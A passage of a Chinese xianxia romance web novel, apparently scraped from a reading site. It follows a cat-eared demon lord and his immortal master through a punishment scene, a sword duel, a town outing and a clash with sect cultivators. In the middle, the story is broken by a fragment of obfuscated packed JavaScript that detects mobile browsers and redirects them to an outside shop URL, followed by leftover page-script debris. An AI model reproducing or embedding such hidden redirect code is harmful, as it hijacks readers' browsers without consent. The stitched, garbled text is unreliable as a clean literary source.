他向来是无感“身体发肤受之父母”那套孝道,但得知陌归尘不厌其烦折腾自己的身子,也不知去哪无师自通的技能,半分也不自爱,如今竟还胆大妄为到连吃十颗催情丹。 简直拿性命当儿戏。 屡教不改,确该长长教训。 闻笺再好的脾气,也在徒弟的连番造次中,忍耐到了极限,但尚算冷静,控制着力度,没下重手,却也没打算就此罢手。 “今日,为师便替你父亲,教教你规矩,让你长长记性。” 他把陌归尘摁在怀里,握着戒尺,又是一下,沉声问:“能不能自爱自重?” “闻笺你变态!” “叫师尊。” “唔……”陌归尘甩了甩猫耳,一时也分不清是这把戒尺克制他,还是被打那种部位叫他瞬身酥软没劲儿,愣是提不起半点儿灵力来。 “闻!笺你啊……” “叫师尊。” 陌归尘犟脾气上来,撅着脖子没改口,半点儿也不示弱,回应他的又是一戒尺。 不疼,但那个酸爽劲儿,直从脊背蹿上脑海,刺激得人又羞又恼。 “告诉为师,日后行事,能不能有分寸?能不能量力而行?能不能懂得自爱?” 陌归尘抓起枕头,把自己滚烫脸颊埋在下面,嘟囔了句:“师尊,别打了。” “能不能?” “能,能啊!满意没!” 头顶落下道淡笑:“为师怎么觉着你很不服气?” 陌归尘冷然咕哝:“不敢。” 听着徒弟咬牙切齿的嗓音,闻笺用戒尺敲了敲陌归尘烦躁乱甩的猫尾,一语挑破:“不敢?你尾巴一翘,为师就知道你憋什么坏水。” 果不其然,那条乱甩的猫尾忽然就缠上戒尺,死死捆了两圈,似乎是想趁机夺走戒尺。 闻笺干脆松了手,转而一巴掌拍下去:“还娶不娶师尊?” “唔……” 陌归尘猝不及防挨了一记,力度很轻,却比戒尺更羞耻,仍是斩钉截铁:“娶!” 啪,又是一下。 闻笺:“娶不娶师尊?” 陌归尘:“娶。” 啪—— 闻笺:“娶师尊?” 陌归尘:“娶……” 啪—— 闻笺:“娶?” 陌归尘:“不娶了不娶了。” 得到想要的答案,闻笺低低缓出口气,正想好好安慰下,便瞧着耀武扬威惯了的徒弟可怜巴巴屈服,妥协在他淫威下似的,转口。 “我嫁还不行么……” 那口还未舒完的呼息,生生卡在咽喉,堂堂玄胤仙尊几近把自己呛死。 闻笺险些没提上气,哭笑不得:“你还委屈上了?” 但见徒弟闷头,埋在被褥里,不知是羞是恼,亦或伤心,瓮声瓮气的,哽着嗓子,断断续续说话:“我爹都没打过我。” “你……打我,讨厌你。” 闻笺鬼使神差把手探进被里,才发觉自己的掌绷得青筋浮现,连尾指都在颤抖。 密密麻麻的疼意又在心口叫嚣。 他垂下眼帘,掩去多余的情绪,极尽温和揉揉徒弟发顶,冷静直言:“你爹爹若在,比为师还狠。” “我不信。” “戒尺都是你爹爹给的。” 陌归尘:“?” 陌归尘挣开束缚,刷地腾起身,愤然摔了枕头:“我才没有爹!” 话才完,便又被自家师尊按在胳膊肘里,抽了一下:“怎么说话的? “你爹爹不惜用满身功德开启禁术,换你来这世间走一趟,你倒好,连亲爹都不认,还这么糟践自己身子骨? “给你爹爹认错。” 就着闻笺的胳膊,陌归尘闷声咬了师尊一口,倏地化作本体,挣脱跳下榻,跑走。 蹿到门槛的猫,又止不住回头,整只猫白里透粉,尤其是那耳尖,红艳似能滴血,探出半颗脑袋,猫在门角偷看一眼,受了弥天委屈似的,瞪了瞪屋内人,头也不回溜之大吉。 唉。 屋内落下道叹息。 有时候,真的不得不承认,自己这徒弟,着实是他这一潭死水的岁月里,唯一能给他带来涟漪与波澜的劫。 闻笺不假思索起身,拾掇着心情追出去,还是得好好哄回来,不然留这人倔着,怕是又要偷偷躲起来哭。 刚走出几步,又顿住。 他抬手,变出根戒鞭,反思片刻,到底还是他这个当师父的错,是自己失责,是自己没教好,是自己愧对故人,是自己给人惯得不知天高地厚。 更该挨罚的是他这个师父。 闻笺掐了个诀。 戒鞭登时脱离掌心飞向半空,挥舞的戒鞭,狠厉精准地打落他脊背,登时皮开肉绽。 一下又一下。 硬是吃上三十鞭刑方罢休。 单膝跪地的人,蓦然想起徒弟方才的话,转手给戒尺上施了道灵术,便是摊出那只打了陌归尘十下的右掌。 生生受下百道戒尺。 * 夜里的树结上一层冰霜。 惨白的月,照不进瓦片遮挡的深巷,陌归尘缩在昏幽角落,潮气自四面八方侵蚀而来,感受着脚边那新结的薄霜,不知为何,他又想起了阿栀。 阿栀的本体只是大黑狗,那时的逃亡路上,寒冬腊月的,又在山林里,夜里便更冷。 他们躲在漏风的山洞,阿栀总会化作本体,用尾巴拂掉地上霜,提前躺在硬而糙的发青石板面许久,方挪开位置,让出暖好的地儿。 狗狗心思单纯,笑得特别朴实淳厚,拍拍一只前爪子道:“这里暖。” 那是除师尊外,第二个会替他暖床的人。 凛冽的风刮来,寒意肆虐,钻进骨头缝,陌归尘止不住颤了颤眉睫,回到现实。 淡雅的苦涩花香飘来,另一人也随之而现,周遭空气更是在某人的术法加持下暖上几个度。 听着熟悉的脚步声,白色的猫悄悄转过身,背对这位不速之客。 小猫面向墙角口吐人言,话音微哑,还带着点闷闷的鼻音,听不出是使性子,还是真情流露:“还没打够?要来打死我才安乐?既如此,当初伏魔大战又何必那般故作情深,平白给我添上非分念想。” “闻笺,你这人,真的很讨厌。” 脚步声停下。 闻笺蹲在陌归尘身后,指尖碰了碰炸毛的猫背:“哄你。 “方才是为师冲动,让你委屈了,师父与你赔不是,别恼,好么?” 脑袋挨着墙的人,鼻尖忽而发酸,眨了眨眼,没接话。 身后人又轻抚他背,慢条斯理顺毛:“别气。” 陌归尘仍然背对着闻笺,身后人抚上他脑袋:“都是为师的错,魔尊大人宰相肚里能撑船,消消气。” “……” “转过来好不好?” 语气跟哄三岁小孩似的,陌归尘听得别扭,但闻笺的嗓音实在温柔,似含着蛊惑,他微有动容,挪了挪脚步,缓缓转身。 霎时,眼角拂来阵轻风,是那人藏在背后的手,骤然伸出到他面前。 陌归尘闻出来了,是荷叶鸡的味道,一想到谪仙般的人,手里拿着个油水铮亮的大鸡腿来哄他,那画面就莫名滑稽。 陌归尘心头暗喜,只是暗喜过后,便是好一顿郁闷。 他万般不是滋味哑然。 这种方式,分明是拿他当小孩,师尊待他,永远跳不出那层师徒身份。 他没表现出惊喜。 那人大抵也因此误会了,又继续翻出用青提做的糖葫芦、粽子糖、糯米凉糕、蟹酿橙、蜜饯梅干、杏酥饮,荔枝花膏、樱桃酒酿、椒盐虾、酱香排骨…… 源源不断的香味袭来。 叫人懵懵怔住。 陌归尘不悦嘀咕:“能不能换种方式,我不是小孩。” 闻笺缓声问:“你想如何?” 见自家师尊恢复往日那副任他骑到头上的温柔师尊做派,陌归尘顿时好了伤疤忘了疼,恢复人形,得寸进尺扑进闻笺怀里,埋头蹭蹭:“疼,给我揉揉。” 闻笺看着挨了一顿打还是没个正形的徒弟,默默掏出戒尺。 戒尺重见天日。 威风凛凛的魔尊大人,在自家亲爹那把戒尺的余威震慑下,捂着漏出来的猫耳,下意识瑟缩一下。 转瞬又想到闻笺说若自己亲爹上阵的话,打得更狠,魔尊大人那还没消的气,再添上新的,一起堵在胸腔,叫人不痛快得更牙痒痒。 两个老男人合起来欺负他! 陌归尘一声不吭遁走。 闻笺揉揉眉心,纵然无可奈何,还是义无反顾去追消失得无影无踪的徒弟。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579668|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >* 陌归尘落在片空地时,猝不及防撞上等在原地的雪影。 那人浸在月色下,语调悠扬:“殿下这是?投怀送抱?” “怎么哪都有你?” 正在气头上的人,正愁找不到人撒气,一脚就踹过去。 雪影没躲,直愣愣挨了一脚,含糊笑问:“谁又惹我们家小祖宗了?为师给你出气,扒了他的皮。” “要你管!” 陌归尘转身要走。 那人显然没打算就此放过他,劲风突近,陌归尘闪身避让,虽失明,但也能感知光源,倏然而起的寒光迎面袭来,速度之快叫人无瑕反应。 光影距眉心咫尺间停下。 雪影淡声道:“输了哦。” 莫名腾起的胜负欲叫陌归尘很不乐意冷嗤:“再来。” 陌归尘垂手,召出无双剑,利刃划出道弧光,肃杀之意穿进深冬浓稠的夜里。 雪影伸手,摘下根树枝,游刃有余接招。 月色之下,魔宫之上。 红白身影,如鬼魅亦如流云,两厢交织,灵力光辉互相碰撞,擦出炽热火花,也映照彼此的面容。 陌归尘一个空中半踢腿,击退对方,又干脆利落闪身上前,双指捏住树枝末端,挥肘一撞,指骨外掰,生生掰断这“兵器”:“拿树枝应战,逗小孩呢?” 他眸底含薄怒:“是男人,就拿出真本事来应战,痛痛快快打一场。” 雪影失笑,颇为无可奈何:“全力以赴,说为师欺负你,稍稍放水,又说为师瞧不起你。 “你到底想如何?我的好徒儿?”他又摘来根树枝,陡然一个回旋,往侧,点打刺去。 陌归尘的无双剑被横击一下,嗡鸣作响,震得他虎口一麻,险些握不住而脱手。 又一次。 一剑一树枝绞合在一起。 半空之中。 对峙片刻的两人再次分开,雪影余光望向闻笺匆匆而现的身影,他眼眸轻眯,趁机朝陌归尘打出凌厉掌风。 陌归尘始料不及,吃了这招,从半空摔下,倒也不狼狈,他迅捷往下打出道灵力,足尖蹬在其上借力,翻转跳起。 焉知雪影又趁势追击而下,继续攻来,劲风轰来,陌归尘不得不提手反击。 两道掌风相撞。 登时,雪影被震退十尺外。 陌归尘微愣。 他有这么强悍的内力么? 怔然片刻,才后知后觉有股暖柔的风从下而上,将他轻轻托住、包裹。 陌归尘讷然回头。 呼吸飘来点栀子花香。 这个手掌贴在他背,给他传送灵力的人是……闻笺? 雪影攻击再次袭来。 闻笺单手怀抱陌归尘,带着徒弟侧身一避,化解雪影的攻势,随后反手一掌,轰出去。 雪影也不示弱,蓄力回击。 两道灵力以横扫雷霆之势对撞,轰一下,白光乍现,强悍而冲天,如银河逆流,直冲九霄云外,璀璨耀目,整座魔宫都被余韵波及得震了震。 二人同时收掌。 雪影偷袭,欲抢走陌归尘。 闻笺眸光一凛,抬腿踢开那人的树枝,侧肘一击,撞开雪影的手臂。 霎时,又是一道剑光袭来,竟是雪影先他一步召出霜寒剑。 闻笺淡然看雪影,反手握起陌归尘的手背,师徒二人手心贴手背握住无双剑,带着徒弟甩剑,挽出个剑花,往上劈去。 咣一声,无双剑挡住霜寒剑,两剑呈十字交错,同时发出凤鸣般的翁响。 陌归尘也被震撼了一下。 霜寒剑再次以一个刁钻角度攻来,如龙出海,化出数以千计的剑影,虚虚实实,势不可挡,以他们为中心,破空围攻而来。 闻笺余光纳着道道剑芒,只一眼便捕捉出端倪,波澜不惊,直捣黄龙,化有形为无形,藏剑转身,扫剑刺出,轰碎幻影。 他单手搂紧徒弟腰腹,行云流水后撤,带着人扭转身躯,在雪影又要抢人时,横剑在前,挂甩反击。 当!两剑碰击。 又迅捷分开。 二人继续对打,彼此见招拆招,你来我往。 这就是传说中的高手过招?剑尊与剑尊的巅峰对决? 被闻笺抱在半空的陌归尘只道“大敌当前”,该当同气连枝,便是“怄气暂停”。 他抬起眼眸,明明什么也瞧不见,还是满眼亮堂,流转出细碎的光,极尽浮夸赞叹。 “闻笺哥哥,好帅哦。” 话音刚完。 陌归尘耳畔擦过道森寒剑气,本来游刃有余的人,竟险些吃了对方一剑。 若非他夹带私心把雪影踹了一脚,便是连带他也要被另一位师尊抢走。 额。 怎么不禁夸呢。 雪影的攻击再次咬来,陌归尘敏锐捕捉到风向,他单手捆住闻笺脖子,借力起腿,自家师尊也十分默契往侧发力。 他整个人便是横扫而飞,一脚踩上霜寒剑,腰身柔韧往后弯下,足尖一勾,勾住霜寒剑剑柄,以迅雷不及掩耳之势,毫不留情蹬去雪影胸膛。 凌空踢剑。 霜寒剑顿时脱离掌控。 垂直掉落。 闻笺带着陌归尘翩然落地,陌归尘侧耳听风声,横出手臂,单手接住霜寒剑。 战斗结束。 抢人失败,雪影飘然落地,挑眉咂了声,离开。 随着另一位师尊消失,陌归尘立马翻脸不认人,推开闻笺。 又跑走了。 闻笺低低喟叹声,未见犹豫,继续追上去寻人。 51.笑一笑好不好? 51. 离开魔宫,师徒二人都默契十足先后易了容。 似考虑到自家师尊人生地不熟会跟丢,陌归尘特地坐在树上等了会儿,百无聊赖衔着根猫草,小憩片刻。 放出的神识感知到闻笺的气息越来越近,方勾起抹胸有成竹的笑,跳下树。 继续“诱敌深入”。 闻笺循着陌归尘的气息来到魔界附近的一处小镇。 此地归属魔界,但时辰与魔界略有些偏差。 正值黄昏,夕阳将下。 刚越过城门,便见陌归尘的侧影立在个小摊旁。 他来到陌归尘身边。 青年周身笼罩着层冷息,神情亦是淡淡的,默不作声杵在原地,久未说话。 在如梦似幻的落日下,陌归尘整个身子陷在霞光里,慢腾腾转向他,乌亮的眼眸,水洗般澄清,眼尾还拖缀着点绯色,漫不经心扫过来。 似在“看”他,又似只是单纯的扫视,并未停留,却叫人三魂七魄都软化得一塌糊涂。 闻笺被打得措手不及。 他茫然环顾周围,放下满满一袋灵石,挑了盏河灯,送到陌归尘跟前,动作轻缓到极致,看起来破有些小心翼翼讨好的错觉。 姿态低到尘埃,温声问:“是想放河灯许愿么?” 陌归尘没接灯,也没接话,再次转身走了。 闻笺没辙,只得继续追上潜进人流的徒弟。 * 刚隐进人群的陌归尘,疑惑一顿,侧头转向某个角度。 什么味? 青年阔步走过去,匆匆来到处巷口,放出丝灵力去探。 是尸气。 还夹杂着怨念。 莫非是上次在天一门离奇失踪的那批合体的凶煞? 若真是那批凶煞,如今无端重现在魔界,倒叫人不得不重视几分,陌归尘神色微凝寻微不可察的气息追寻踪迹。 很快,追到处河流边上。 气息中断。 此处僻静无人,接壤魔宫护法殿后院,面前这条河流似乎是连通着护法殿后院的湖。 陌归尘定神站在河边,掐了几个诀,也没探出异样,唯有扫兴转身,原路折返。 夕阳愈渐西移。 陌归尘穿过个凉亭,从石子路拐弯走出,另一边的闻笺也逆着人流走向这边。 太阳将落,光线从云层反射回地面,回光返照,投落在闻笺轮廓,哪怕陌归尘看不见,都能感觉到自家师尊穿梭过那片短暂的华光,向他走来。 那道剪影,唯美极了。 如果可以,真想用丹青记录下来。 他放出神识搜刮了四周,前方有个画斋,是专供文人雅士作画的地方,环境清雅。 陌归尘挑眉,直奔画斋。 闻笺自然也看到徒弟的身影,二话不说,跟上去。 路上,吹着风,枝条蔓蔓乱飞,似怕这些粗枝刮着金尊玉贵的猫主子,闻笺不厌其烦地撩开乱撞的柳条,贴心“护驾”:“还气么? 他指尖轻戳徒弟紧绷的肩膀,淡如水的嗓音,被风一吹,更显柔和缥缈。 “都是师父不好,为旁人的错,惩罚自己的五脏六腑,不值得。 “笑一笑好不好?” 闻笺其实是个话少的人,但陌归尘总不搭话,这一路上,便显得他有些喋喋不休。 终于。 徒弟停在处画阁门外,惜字如金轻哼出两个音:“开房。” 闻笺没多问,生怕徒弟再次炸毛,只一心依着人,和颜悦色顺顺徒弟的发:“好。” 意料之中,被嫌弃拂掉:“净手了么?就乱摸。” 他望着陌归尘傲娇的模样,垂眸低低笑了一声 随后朝候在门外的小厮递去袋灵石:“一间雅间。” “好嘞。” 小厮哪见过这般阔绰的客人,狗腿子十足,点头哈腰,把人请到楼上,还送来不少茶点。 房中,闻笺抓过些开心果,慢条斯理剥壳,把剥好的果仁放到干净的玉白小瓷碟上,静候猫主子享用。 猫主子本主陌归尘则疏懒随意往桌案一靠,五指抓上笔。 他沉思半天,终是冷着脸,托腮嘀咕:“别剥了,吵死了,吵得我下不了笔。” 闻笺:“……” 闻笺:“那为师代笔?给你赔罪。” “不。” 陌归尘闷闷哼一声,带着猫的习性,循着气味埋低脑袋,衔住闻笺指尖那颗剥好的开心果,叼进嘴里,咔嚓一声咬碎。 别别扭扭的:“你带我画。” 共享五感这种高阶术法,哪怕修为已到半步飞升的他操作起来也是有限制的,需得肌体接触,陌归尘这一咬,唇瓣无可避免地触碰到闻笺指尖。 脑海画面,也顺势传给对方。 “好端端的,怎么画为师?” “辟邪。” “……” 闻笺隐隐笑了一下,笑着说话,嗓音是含糊的:“没大没小。” 听起来温和又纵容。 还有点暧昧。 陌归尘忿忿咬了咬笔头,好吧,是他自以为暧昧而已,闻笺这不解风情的老男人才不愿和他清醒沉沦,不然,他们的儿子都会打酱油了。 不对。 应该是徒孙。 也不对。 是儿子。 啧,关系好乱,难怪不提倡□□。 未关紧的窗,漏进缕风,吹散屋内浮动的那么丁点旖旎,也将人吹醒半分。 陌归尘别开脑袋,右手却自觉伸到闻笺面前,“昂”了一声,算是给自家师尊一个台阶。 “我看不见,画不了。 “快点,磨磨蹭蹭的,到底能不能行?” 话刚完,他感觉手背被覆盖上一层软柔的帕子,闻笺便是这般,隔着帕子握来。 陌归尘:“……” 魔尊大人没忍住掀了个白眼,臭讲究! * 二人从画室出来后,魔尊大人带走了画卷,还顺走了自家师尊亲手剥的那碟子开心果。 集市陆陆续续挂上街灯,烛光明明灭灭的,夜里的风也温柔,吹得人软绵惬意。 闻笺见人心情好转,也跟着笑了笑:“喜欢吃这个?” 陌归尘斜觑一眼,把最后一颗果仁塞进嘴里,慢悠悠掐了个清洁术净手,如实开口:“不喜欢,又咸又干巴。” “那你怎么还——”闻笺话未完,就被陌归尘拽着往前跑了几步。 他刚想抽手。 徒弟已提前一步松开。 闻笺情不自禁低头,定定望向刚被徒弟拽过的手腕,上面似还残留着一层余温。 盈盈发暖。 “你发什么呆呀! “快过来!” 恍惚一声起,闻笺微有滞涩攥紧手掌,任由指甲掐进掌心肉,循声抬起头,迟疑看去。 青年一袭红衣,正站在盏灯笼下,转过身子,面向他招手,轮廓有些模糊,朦朦胧胧的,唯有那道笑真实清晰,指指某个小摊:“我要玩这个,给钱。” 听着徒弟这使唤人的口吻,闻笺敛神,抿唇,到底也没说什么,朝人走过去,变出袋灵石。 接过灵石,摊主扯出温和的笑,递上几个竹制的圈子,连忙解释:“这地上摆着的物什,但凡能套中的,都归公子所有。” 陌归尘拿走竹圈,斜瞟闻笺,灵机一动,眉眼划出丝狡黠。 他挨近闻笺,懒洋洋抬起手肘,撞撞自家师尊:“师尊换个位置,这里是风口,你站在这里影响我发挥。” 说着就把人往摊子边上推。 闻笺望着又在睁眼说瞎话的徒弟,亦不知这人又在憋什么坏主意,到底不愿扫兴,只默默遂了徒弟的兴致。 他手上还拿着先前的画卷。 地上划出块地,里面摆放着各种各样的玩物吃食。 陌归尘则来到对面,与他隔着这片地儿。 那人仿佛在算计距离与力度似的,指尖穿过竹圈,若有所思转着把玩,好半晌,才挽出漫不经心的笑。 起手,挥臂,竹圈飞出去,在空中划出个漂亮的弧度,最后直愣愣穿过卷轴。 就这么套进闻笺的手臂。 摊主:“……” 好家伙,套哪呢? 我是你们调情的一环? 而后,他果然听到这位颇为风流的红衣公子笑吟吟问:“是不是套中的都归我?” 中年男子挠头,摸着刚落口袋的灵石,真是钱难赚,屎难吃。 本来单身四十年就烦! 但,秉承一贯的职业操守,他挽出个比哭还难看的礼貌微笑,配合道:“啊……是,是是是……套中的都归公子您。” 陌归尘心满意足扑过去抱住闻笺:“好,师尊归我了。” 闻笺:“……” 闻笺再次默默举起戒尺。 陌归尘:“……” 魔尊大人咂嘴推推人:“不解风情!”无趣的老男人。 他兴致阑珊砸下余下的竹圈,一溜烟似的走了。 夜晚的镇子热闹不已。 陌归尘没走多远,便遇见前方有个大围栏,围栏中的,并不是寻常箭靶,而是些逃奴,被抓回来,丢进场内,供人射杀玩乐。 老板正在吆喝:“路过的公子小姐,来看一看,瞧一瞧咯喂!一箭一灵石,百发百中者,射死一个返两灵石,诚信经营!童叟无欺!” 陌归尘停在摊前时,已散了几批一箭未中的人。 其中一名满是心疼:“真难射!亏了亏了。” 另一人愤然不悦:“主要还是这些贱奴真能跑,怎么没被打断腿,打断腿估计就不好躲了,无趣无趣,甚是无趣。” …… 摊主一眼便瞧见陌归尘,心道这位红衣青年气度不凡,又衣着华贵,连忙迎上来招揽生意:“公子也感兴趣?一箭一灵石。” “包场怎么算?” 摊主上下打量人,也没怀疑这人的实力,换了副嘴脸,堆出恭维的笑:“包场?若公子要包下这些逃奴的话,那至少得这个数。” 他比划了一下手指。 交谈的功夫,闻笺已经追上来,陌归尘眉眼都没动一下,旋即送上个储物戒指。 摊主接过戒指一看,笑得见牙不见眼:“哟!二位贵公子,请慢,这些逃奴都是公子的了,您二位随便玩。” 大围栏外有条跑道,专供马儿跑的,陌归尘此刻正站在马道上,栏内逃奴纷纷惶恐不安看人,便见那位红衣公子起手,往他们的掌心打下道符咒,道:“城里正好缺一批守卫,想混口安稳饭的,想出人头地的,就去报道,不想去的,也滚。” 周遭顿时一阵哗然。 摊主亦大为不解,随后又暗自偷笑,放走更好,等会儿抓回来又能捞一笔,便是热切帮忙,驱散所有逃奴:“滚滚滚!听到没有,都给我滚一边去,给我们这位腾地儿。” 清场后,他问:“只是靶都没了,二位公子想如何玩?” 陌归尘挑眉:“谁说没有。” 接过弓,又从箭筒拔出一根箭,陌归尘面向闻笺:“劳烦师尊委屈一下,当我的箭靶。” 摊主听得一怔。 师尊? 这天下居然还有徒弟要当众射师父的? 大逆不道啊! 摊主回神,但也只是赔笑:“公子真性情!” 陌归尘:“老板,您这有没有蒙眼的绸缎?” 老板乐呵呵一笑,恭维道:“看来公子的骑射定是一绝!蒙眼也能规避!难怪尊师这般放心陪您胡闹!” 陌归尘摇头:“是我晕血。” 摊主:“……” 围观之人霎时骚动起来,震惊如炸开锅的蚂蚁,无不倒吸凉气,这对师徒什么深仇大怨? 而这当师父也不反驳。 好家伙! 拿命宠徒弟? 请问什么样的姿势入睡才能梦到这样的师父? 闻笺由始至终没发言,不咸不淡朝围栏中心走去,陌归尘也行至旁边的小马厩里随意牵走匹马,翻身上马。 不少人闻讯而来看戏,围观之人越来越多,众人交头接耳,不时来回打量这对师徒。 实话说,这对师徒的氛围根本没剑拔弩张的意味,身为徒弟的,神情冷淡,而当师父的更是云淡风轻,看徒弟的眼神,温柔恬淡,甚至隐约有点宠溺。 可不就是宠嘛。 你家徒弟都想射死你了,还乖乖杵在那当箭靶。 你就宠他吧! 马厩里,陌归尘红绫覆眼,翻身上马,慢悠悠驭马而出。 不消片刻,马儿绕着道跑起来,陌归尘也松开缰绳,循着记忆里师尊蹲在他背后,手把手教他的箭术动作…… 他举臂,挽弓、架箭、拉弦,一气呵成,连起箭的姿势,都带着师尊的影子。 风呼啸在耳畔,陌归尘迟迟未发箭,无他,是他偷偷笑场了,皆因他想起小时候力气不大,手也短,拉不到弦,只能用脚蹬弓射箭。 那会儿,师尊好像也是如他这般失笑。 修士们争得头破血流的极品仙器,被他用脚蹬,如此暴殄天物,师尊还夸他柔韧灵活,一字腿迈得不错。 想了想,陌归尘又失笑。 不对,应该是他现在笑得像记忆里的师尊。 场外人一动不动注视场内,那人分明貌若无盐,可红衣银发翻飞的刹那,众人还是无端被这幕吸引,实在英姿飒爽,仿佛被拉进沙场,目睹着这位少年将军,如何意气风发! 咻—— 羽箭从马背上飞出,急速破空,直指闻笺心口位置,闻笺依然纹丝不动。 众人瞠目屏气。 红影倏然飞身,腾空而起,足尖踩过箭身,翻转跳到围场中央,比箭更快一步来到闻笺身侧。 利箭只差半寸距离…… 生死瞬间,陌归尘徒手抓住了箭段。 那箭停在闻笺心窝外。 “我去!吓人!” 有惊无险,不少人如释重负吐气,也有人无语吐槽:“玩呢!” “没意思没意思!” 围观的人散去大半。 嘈杂声中,陌归尘难辨喜怒开口:“为何不躲?” 他话刚完,只感觉到师尊抓上箭身,往前带了带,箭尖直抵自己心口。 闻笺的声色里含着一如既往的纵容:“你想要,拿去便是。” “谁要你命了? “疯子。” 陌归尘厌倦松箭,声音沉下,显得语气干巴巴的发冷,“闻笺,你这个人,真的很没劲儿。” 他低垂脑袋,掩下晦暗不明的眸色,又止不住想,偏偏就是这样的人,征服起来,又很带劲儿。 师徒二人旁边摆着个火炉,炉内有烧得滚烫的烙铁,是专门给奴隶烙印用的。 陌归尘思绪一转,抓过闻笺的胳膊,狠狠咬了一口,留下个牙印,还偷偷加了层术法。 * 翌日。 陌归尘素来不是个讲规矩的人,但按照习俗,大婚前一日,新婚夫夫是不能相见的。 魔尊大人难得守了一回规矩,却也烦躁得坐不住,在魔宫瞎逛了半天。 又一次险些撞树的魔尊大人,无语停在树干旁,抬脚踹了过去。 噗一下。 树上的雪团砸下来。 把人砸了满身雪。 陌归尘:“……” 算,大婚将至,这雪不过是来沾喜气罢了,魔尊大人心情甚好挑眉,掸了掸身上的雪碎。 思忖间,他眼眸又忽而一凛,转向侧后方:“谁?” 庭内静得出奇。 陌归尘凝重蹙眉,那股若有似无飘来的味道是……尸气? 真是太岁头上动土,都挑衅到他这魔宫里来了,明日就是大婚,自然不能放任这些晦气破事儿坏了他与师尊的好事。 魔尊大人二话不说追上去。 循着那股尸气,陌归尘追出魔界,路径若水河,奔腾不息的浪潮声若隐若现的,莫名有种消匿的迹象。 陌归尘停顿一下,没多想,继续追上那股尸气来到片沙地。 他掌心朝地下一轰,烟尘四起,也炸出个身影。 身影落地又继续逃。 陌归尘一个闪身跳到尸体跟前拦住去路。 这具行尸似乎拥有意识,也聪明,倏然止步,往侧奔跑。 “想跑?” 陌归尘双指接住片落叶,飞出,叶片裹挟肃冷灵息,气势汹涌,直把行尸的左腿割断。 行尸摔倒。 陌归尘抬掌,掌心一拢,蓦然破土而出的藤蔓,瞬间将那具尸体捆得严严实实。 他还未来得及严刑逼供。 前方人马匆匆赶来。 狂风呼啸,黄沙漫天。 红影孤拔,逆着光,看不清神情,唯有清薄的身形,窈窈撑起翻飞的绣袍,与对面赶来的几大门派对峙。 不少人晃神许久,只道是风沙迷人眼,冷哼敛神,纷纷拔剑以对,咄咄逼人:“孽障!还不把玄胤仙尊交出来。” “魔头!莫要执迷不悟!否则纳命来!” “陌归尘,玄胤仙尊,一生光明磊落,从未苛待过你,你怎可这般辱他!把仙尊放了,我等许你全尸!” …… 陌归尘简直无语凝噎! 这哪是仙门,简直是堆狗皮膏药,可劲儿逮着他贴,又臭又烦人,甩都甩不掉! 他冷嗤:“本尊的师尊,本尊想娶就娶,你们有本事就去魔界抢亲!没本事就等着收魔界的喜糖,放心,人人有份!” “你小子!简直不知廉耻!” “大逆不道!” “罔顾伦理尊卑!” 陌归尘倦懒摆摆手:“骂完了?骂完了就滚,明日大婚,本尊也不想弄脏自己的手。” “陌归尘你别欺人太甚!” 魔尊大人实在没忍住,对着这群颠倒是非黑白的人翻了个白眼,转手拉起那具行尸,便要带回魔界拷打。 人群忽而让出条道。 “闻青栀,站住!” 这熟悉的声音,让陌归尘听得脸色沉如灰色:“又怎么了?” 华云舟来到众人前方:“合欢宗满门丧命,你没有什么要解释的吗?” 陌归尘:“与我何干?” 华云舟:“魔就是魔,心思歹毒,死性不改。” 他丢出本邪术:“合欢宗有你到过的痕迹,而这书是从你落霞峰房间翻出来的,合欢宗满门所中奇香,与书中介绍的毒香症状一般无二。” 陌归尘习以为常,面无表情:“我既没看过这书,也没杀人,是栽赃嫁祸。” “笑话!你倒说说是谁一次又一次针对你?十年前这样,十年后还不放过你?怎么,你是刨了他家祖坟?” 陌归尘摊手,耸肩:“实不相瞒,我也想知道。” 华云舟眉角骤跳,气得青筋乍现:“闻青栀!收起你的嬉皮笑脸,我可不是你师尊,我只信天机石,你就是个祸害,必须死,否则莫说仙门,整个三界都将后患无穷。” 他拔剑:“我只是替天行道,你本就是个不该存活于世的人!” “什么意思?” “你这么聪明听不懂么?” 陌归尘沉默。 华云舟冷下脸,一语道破:“在你重回浮华派那天,我请过天机石,得知你命理飘忽难定,是不详之身,昨日,天机石再次显灵,你在一千年前就死了,你以为你凭什么活着,是有人在替你续命!” 陌归尘不可置信道:“你说什么!” 华云舟嘲弄失笑:“很意外是吧?我也难以预料,没想到闻师弟对你,能用情至此,简直荒唐! “你们一个个的! “荒唐! “一日为师,终身为父,你们这是在□□!” 陌归尘难以置信问:“你说谁给我续命?” 华云舟简直被气笑,拂袖:“除了你师尊还能有谁!难不成是我?你脑子呢?” 所以这就是闻笺曾经所说“以前无坚不摧,但现在不确定自己还是不是不伤不死不老不灭”的答案? 而那人日渐虚弱的缘由,至此,似乎也有所眉目…… 师徒是道法的薪火相授,是责任与思想的传承,是生命与爱的延续,但陌归尘怎么也想不到这个世上,真的会有人燃烧自己的魂魄…… 只为给他续命。 轰隆—— 整个地面忽而震上三震,叫人险些站不稳。 “什么东西?” 众人惊慌失措,只觉铺天盖地袭来阵阵阴森诡异的凉气。 “行尸!” “不!是凶煞!” 有人认出来了,尖叫着:“是那天在天一门消失的凶煞!” 场面霎时混乱无比,众人提剑应战,陌归尘旋即醒神,侧身避开凶煞的偷袭。 大批大批的凶煞围攻而来,仙门弟子一时死伤无数。 华云舟一边救人一边责问:“闻青栀,是你操控的凶煞?你想置我们于死地?” 陌归尘一脚踹开无差别攻来的凶煞,气昏头了,口不择言反骂:“前天下雨你没打伞?脑子进水了? “大婚在即,杀你们,对我有什么好处?让闻笺恨我,我们新婚当夜做恨么?” 后面的话叫人听得脸色一阵青一阵白:“你!轻浮!放荡!” 厮杀声不绝于耳。 华云舟揽过两名受伤的弟子,稍不留神,挨了凶煞一记狠戾的爪子。 抓痕刷拉划破前襟。 他猛然咳出口血。 黑气迅速弥漫,侵蚀肌肤,叫人倏地跪地,无力应战。 